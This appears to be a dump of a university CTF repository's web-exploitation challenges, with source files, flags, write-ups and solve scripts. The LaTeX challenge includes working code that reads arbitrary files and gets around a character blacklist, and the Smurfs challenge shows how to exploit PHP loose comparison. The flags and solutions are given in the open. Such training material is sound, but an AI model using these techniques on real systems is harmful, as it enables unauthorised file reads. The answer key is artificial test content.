51 | {% endblock %} -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/app/templates/main-template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {% block head %}{% endblock %} 5 | 6 | 7 | 8 | 9 | 10 | {% block body %}{% endblock %} 11 | 12 | -------------------------------------------------------------------------------- /challenges/web-exploitation/david-byrne-online-tailor/source/flag/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{4int_no_party_4int_n0_d1sc0} -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/solve/devops_solve.py: -------------------------------------------------------------------------------- 1 | import sys, os, requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{build_automation_genius}" 5 | challenge_host = "http://srv3.magpiectf.ca:9355/api.php" 6 | auth_cookie = {'auth': 'f4e53e561c6580d6d304f3f31e3102f5'} 7 | 8 | r = requests.get(challenge_host, cookies=auth_cookie) 9 | 10 | return flag in r.text 11 | 12 | -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | COPY ./app/api.php /var/www/html 4 | -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/api.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | gcc -D FLAG_HASH=\"$1\" flagchecker.c -o /bin/flagchecker -lssl -lcrypto -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/build_flag_checker.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: master 4 | 5 | name: Build Flag Checker 6 | 7 | jobs: 8 | build: 9 | name: build-flag-checker 10 | runs-on: ubuntu-latest 11 | 12 | steps: 13 | - name: Checkout branch 14 | uses: actions/checkout@v2 15 | 16 | - name: Install dependencies 17 | run: | 18 | sudo apt-get install -y gcc libssl-dev 19 | 20 | - name: Get hash 21 | id: get_hash 22 | run: | 23 | chmod +x flaghash.sh 24 | echo "::set-output name=HASH_VALUE::$( ./flaghash.sh )" 25 | 26 | - name: Build flag checker program 27 | run: | 28 | chmod +x build.sh 29 | ./build.sh ${{ steps.get_hash.outputs.HASH_VALUE }} 30 | 31 | - name: Upload build artifact 32 | uses: actions/upload-artifact@v2 33 | with: 34 | name: flagchecker 35 | path: ../../bin/flagchecker 36 | 37 | -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/flagchecker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/devo-ps/source/app/flagchecker -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/flagchecker.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #ifndef FLAG_HASH 7 | #define FLAG_HASH "fake_flag" 8 | #endif 9 | 10 | void createHash(unsigned char *input, unsigned char *string_result) { 11 | unsigned char digest[MD5_DIGEST_LENGTH]; 12 | MD5(input, (unsigned long) strlen(input), digest); 13 | 14 | for(int i = 0; i < 16; i++) { 15 | sprintf(&string_result[i*2], "%02x", (unsigned int)digest[i]); 16 | } 17 | } 18 | 19 | int main(){ 20 | char string_result[33]; 21 | char *flag = FLAG_HASH; 22 | 23 | printf("Give me a flag and I'll tell you if it's real.\n"); 24 | 25 | char guess[100]; 26 | fgets(guess, 100, stdin); 27 | 28 | createHash(guess, string_result); 29 | 30 | if (strncmp(flag, string_result, sizeof(FLAG_HASH)) == 0) { 31 | printf("That is just the flag I wanted!\n"); 32 | } else { 33 | printf("I don't think that's a real flag...\n"); 34 | } 35 | 36 | return 0; 37 | } -------------------------------------------------------------------------------- /challenges/web-exploitation/devo-ps/source/app/flaghash.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # TODO: This URL should be changed to reflect the correct endpoint URL when challenge is hosted 4 | FLAG="`curl -b 'auth=f4e53e561c6580d6d304f3f31e3102f5' http://srv3.magpiectf.ca:9355/api.php`" 5 | echo $( md5sum <<< $FLAG | cut -d " " -f1) 6 | 7 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/README.md: -------------------------------------------------------------------------------- 1 | # Richard Simmons: Sweatin' in LaTeX 2 | ### Category: Web Exploitation 3 | ### Author: James Lowther (Articuler) 4 | 5 | ## Description 6 | Richard Simmons' new workout "Sweatin' in LaTeX" is out now! See if you can shimmy your way to the flag! 7 | 8 | ## Solution 9 | The website appears to be a renderer for LaTeX code. Writing LaTex and clicking "Generate PDF" gives a link to a rendered PDf. The output LOG of the LaTeX renderer will also be displayed. 10 | 11 | 1. Looking at the source HTML indicates that we need to read the flag from a file found in `/sweatin/to/the/oldies/flag.txt`. 12 | 2. LaTeX is turing-complete and has the ability to read files, however, certain strings have been blacklisted. Most notably, `/` has been blacklisted making it challenging to create the path to read the file. 13 | 3. The `/` character however can be isolated from `index.html` using the `\StrMid` function from the `xstring` package. By getting the `/` character from `index.html`, we can use it to build our path and bypass the blacklisted characters filter. 14 | 4. Using this we can write the following LaTeX code that will build the path and read the flag: 15 | ``` 16 | \documentclass{minimal} 17 | 18 | % The xstring package allows us to use \StrMid 19 | \usepackage{xstring} 20 | 21 | % Define sections of the path to the flag 22 | \def\a{sweatin} 23 | \def\b{to} 24 | \def\c{the} 25 | \def\d{oldies} 26 | \def\e{flag.txt} 27 | 28 | % Read index.html and isolate the forward-s lash character into \s 29 | \newread\file 30 | \immediate\openin\file=index.html 31 | \immediate\read\file to\fileline 32 | \immediate\read\file to\fileline 33 | \immediate\read\file to\fileline 34 | \immediate\read\file to\fileline 35 | \StrMid{\fileline}{43}{43}[\s] 36 | \immediate\closein\file 37 | 38 | % Build the path the the flag and read it 39 | \immediate\openin\file=\s\a\s\b\s\c\s\d\s\e 40 | \loop\unless\ifeof\file 41 | \read\file to\fileline 42 | \message{\fileline} 43 | \repeat 44 | \closein\file 45 | 46 | \begin{document} 47 | \end{document} 48 | ``` 49 | 50 | The flag can be found in the returned LOG data. 51 | 52 | ## Flag 53 | magpie{r1ch4rd_l0v35_t0_5w34t} 54 | 55 | *Inspired and derived from [the web90 challenge in Internetwache CTF 2016](https://github.com/internetwache/Internetwache-CTF-2016/tree/master/tasks/web90/code)* 56 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/solve/assets/latex-solve.txt: -------------------------------------------------------------------------------- 1 | \documentclass{minimal} 2 | \usepackage{xstring} 3 | 4 | \def\a{sweatin} 5 | \def\b{to} 6 | \def\c{the} 7 | \def\d{oldies} 8 | \def\e{flag.txt} 9 | 10 | \newread\file 11 | \immediate\openin\file=index.html 12 | \immediate\read\file to\fileline 13 | \immediate\read\file to\fileline 14 | \immediate\read\file to\fileline 15 | \immediate\read\file to\fileline 16 | \StrMid{\fileline}{43}{43}[\s] 17 | \immediate\message{\s} 18 | \immediate\closein\file 19 | 20 | \immediate\openin\file=\s\a\s\b\s\c\s\d\s\e 21 | \loop\unless\ifeof\file 22 | \read\file to\fileline 23 | \message{\fileline} 24 | \repeat 25 | \closein\file 26 | 27 | \begin{document} 28 | \end{document} 29 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/solve/sweatin_in_latex_solve.py: -------------------------------------------------------------------------------- 1 | import os, requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{r1ch4rd_l0v35_t0_5w34t}" 5 | challenge_host = "http://web01.magpiectf.ca:9949" 6 | 7 | infile = open(os.path.join(os.path.dirname(__file__), "assets/latex-solve.txt")) 8 | latex = infile.read() 9 | 10 | r = requests.post(challenge_host + "/ajax.php", data={"content": latex}) 11 | 12 | infile.close() 13 | 14 | return flag in r.text 15 | 16 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:apache 2 | 3 | RUN apt update; \ 4 | apt -y upgrade; \ 5 | apt install -y texlive-latex-base texlive-latex-extra cron; 6 | 7 | COPY entry.sh /entry.sh 8 | COPY cleanpdfdir.sh /root/cleanpdfdir.sh 9 | RUN chmod -w /root/cleanpdfdir.sh 10 | 11 | COPY public_html/ /var/www/html/ 12 | RUN mkdir /var/www/html/compile 13 | RUN mkdir /var/www/html/pdf 14 | RUN chown -R www-data /var/www/html 15 | RUN chgrp -R www-data /var/www/html 16 | 17 | COPY flag.txt /sweatin/to/the/oldies/flag.txt 18 | RUN chmod -w /sweatin/to/the/oldies/flag.txt 19 | RUN chmod -R -w /var/www/html/assets 20 | RUN chmod -w /var/www/html/ajax.php /var/www/html/config.php /var/www/html/index.html 21 | 22 | RUN (crontab -l 2> /dev/null; echo "* * * * * /root/cleanpdfdir.sh")| crontab - 23 | 24 | ENTRYPOINT ["/entry.sh"] 25 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/cleanpdfdir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR=/var/www/html/pdf/ 4 | SIZE=$(du -sm $DIR | grep -oP "\d+") 5 | if [[ $SIZE -gt 100 ]]; then 6 | rm -r $DIR*.pdf 7 | fi 8 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/entry.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | #Start cron 4 | cron 5 | 6 | #Start apache 7 | /usr/sbin/apache2ctl -D FOREGROUND 8 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/flag.txt: -------------------------------------------------------------------------------- 1 | Spectacular! The flag can be found below: 2 | 3 | magpie{r1ch4rd_l0v35_t0_5w34t} 4 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/ajax.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/background.jpg -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/dance.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/dance.gif -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/sticker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/images/sticker.png -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/assets/js/app.js: -------------------------------------------------------------------------------- 1 | function senddata() { 2 | var content = $("#content").val(); 3 | var template = $("#template").val(); 4 | 5 | if(content == "") { 6 | $("#output").text("No input given!"); 7 | } 8 | $.ajax({ 9 | url: "ajax.php", 10 | data: { 11 | 'content':content, 12 | 'template':template 13 | }, 14 | method: 'post' 15 | }).success(function(data) { 16 | $("#output").text(data) 17 | }).fail(function(data) { 18 | $("#output").text("OOps, something went wrong...\n"+data) 19 | }) 20 | return false; 21 | } -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/web-exploitation/sweatin-in-latex/source/public_html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Richard Simmons: Sweatin' in LaTeX 5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 |
14 |
15 | 16 |
17 |
18 |
19 | 20 |

Richard Simmons: Sweatin' in LaTeX

21 |
22 | 23 |
24 | 25 |
26 |
Output...
27 |
28 |
29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/README.md: -------------------------------------------------------------------------------- 1 | # The Smurfs Cipher 2 | ### Category: Web Exploitation 3 | ### Author: James Lowther (Articuler) 4 | 5 | ## Description 6 | Gargamel stole the key to decrypt The Smurfs ciphertext. Now they can't get into their kingdom to view their flag. Can you help them get the right key? 7 | 8 | ## Solution 9 | This challenge gives you a file named `cipher` and the source code used to return the flag. Your goal is to reverse engineer the source code to create, and upload, the key that will allow the flag to be returned. This challenge requires you to exploit PHP loose comparison. In PHP versions less than 8 using `==` will loosly compare variables of different types, allowing expressions to implicitly evaluate to true. Any string (i.e. `password.txt`) compared with the integer `0` will evaluate to `true`. By making `to_check` equal to `0` we can echo the flag. 10 | 11 | A table showing all of the PHP loose comparison values can be found [here](https://www.php.net/manual/en/types.comparisons.php). 12 | 13 | 1. In order to get the flag we need to ensure that `$to_check` is `0` to exploit PHP using loose comparison. 14 | 2. Create a 8 byte file that is equivalent to the the data in `cipher + 0xd34db33f` and upload it. 15 | * Your key will be XORed with `cipher + 0xd34db33f`. If they are equivalent then the XOR result will be zero. 16 | 3. The if statement will be `0 == "whatever the password is"` which evaluates to true, and the flag will be echoed back. 17 | 18 | ## Flag 19 | magpie{l0053_c0mp4r150n_l34d5_t0_tr0ub13} -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/solve/assets/smurfs-solve-key: -------------------------------------------------------------------------------- 1 | 8b6g~r -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/solve/the_smurfs_cipher_solve.py: -------------------------------------------------------------------------------- 1 | import os, sys, requests 2 | 3 | def solve() -> bool: 4 | flag = "magpie{l0053_c0mp4r150n_l34d5_t0_tr0ub13}" 5 | challenge_host = "http://web01.magpiectf.ca:8594" 6 | 7 | key = open(os.path.join(os.path.dirname(__file__), "assets/smurfs-solve-key"), "rb") 8 | r = requests.post(challenge_host + "/decrypt.php", files={"key": key}) 9 | 10 | key.close() 11 | 12 | return flag in r.text -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4.13-apache 2 | 3 | RUN apt update; \ 4 | apt -y upgrade 5 | 6 | COPY flag.txt /flag.txt 7 | COPY password.txt /password.txt 8 | COPY public_html/ /var/www/html/ 9 | -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{l0053_c0mp4r150n_l34d5_t0_tr0ub13} -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/password.txt: -------------------------------------------------------------------------------- 1 | You should not have been able to read this. 2 | 3 | Please contact a CTF administrator. -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/public_html/cipher: -------------------------------------------------------------------------------- 1 | 8b6f40f3 -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/public_html/css/styles.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-color: #00B5EE; 3 | } 4 | 5 | .content { 6 | background-color: #FFEB01; 7 | } 8 | 9 | .center { 10 | margin: auto; 11 | width: 50%; 12 | border: 3px solid black; 13 | padding: 10px; 14 | } 15 | 16 | .center-img { 17 | display: block; 18 | margin-left: auto; 19 | margin-right: auto; 20 | width: 50%; 21 | } -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/public_html/decrypt.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/public_html/img/smurfs-characters.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/web-exploitation/the-smurfs-cipher/source/public_html/img/smurfs-characters.png -------------------------------------------------------------------------------- /challenges/web-exploitation/the-smurfs-cipher/source/public_html/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | The Smurfs Cipher 10 | 11 | 12 |
13 |

The Smurfs Cipher

14 |
15 |
16 |
17 |
18 |
19 | 20 | 25 | 26 |
27 |
28 |

Here's a link to the cipher: cipher

29 |

Here's a link to the source: decrypt.php

30 |
31 |
32 |

The Smurfs have lost the key to their kingdom but still need a way to get in! Can you find the right key to break in?

33 |
34 | 35 |
36 | 37 | -------------------------------------------------------------------------------- /ctf-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/ctf-logo.png --------------------------------------------------------------------------------